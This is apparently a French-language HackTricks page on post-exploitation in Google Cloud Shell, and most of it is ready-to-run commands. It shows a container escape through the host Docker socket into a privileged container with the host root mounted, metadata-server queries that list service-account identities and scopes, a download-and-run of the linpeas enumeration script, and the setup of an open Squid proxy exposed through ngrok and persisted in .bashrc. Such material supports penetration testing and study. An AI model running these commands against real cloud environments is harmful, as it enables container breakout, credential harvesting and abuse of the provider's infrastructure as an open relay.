GCP - Cloud Shell Post Exploitation

Soutenir HackTricks

Cloud Shell

Pour plus d'informations sur Cloud Shell, consultez :

Container Escape

Notez que Google Cloud Shell s'exécute à l'intérieur d'un conteneur, vous pouvez facilement échapper à l'hôte en faisant :

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

Cela n'est pas considéré comme une vulnérabilité par Google, mais cela vous donne une vision plus large de ce qui se passe dans cet environnement.

De plus, notez qu'à partir de l'hôte, vous pouvez trouver un jeton de compte de service :

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

Avec les portées suivantes :

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

Énumérer les métadonnées avec LinPEAS :

cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

Après avoir utilisé https://github.com/carlospolop/bf_my_gcp_permissions avec le token du Service Account aucune permission n'a été découverte...

Utilisez-le comme Proxy

Si vous souhaitez utiliser votre instance de google cloud shell comme proxy, vous devez exécuter les commandes suivantes (ou les insérer dans le fichier .bashrc) :

sudo apt install -y squid

Juste pour vous informer, Squid est un serveur proxy http. Créez un squid.conf fichier avec les paramètres suivants :

http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

copiez le fichier squid.conf dans /etc/squid

sudo cp squid.conf /etc/squid

Enfin, exécutez le service squid :

sudo service squid start

Utilisez ngrok pour rendre le proxy accessible de l'extérieur :

./ngrok tcp 3128

Après avoir exécuté, copiez l'URL tcp://. Si vous souhaitez exécuter le proxy depuis un navigateur, il est suggéré de supprimer la partie tcp:// et le port, puis de mettre le port dans le champ de port des paramètres de proxy de votre navigateur (squid est un serveur proxy http).

Pour une meilleure utilisation au démarrage, le fichier .bashrc devrait avoir les lignes suivantes :

sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

Les instructions ont été copiées depuis https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Consultez cette page pour d'autres idées folles pour exécuter tout type de logiciel (bases de données et même Windows) dans Cloud Shell.

Soutenir HackTricks

Last updated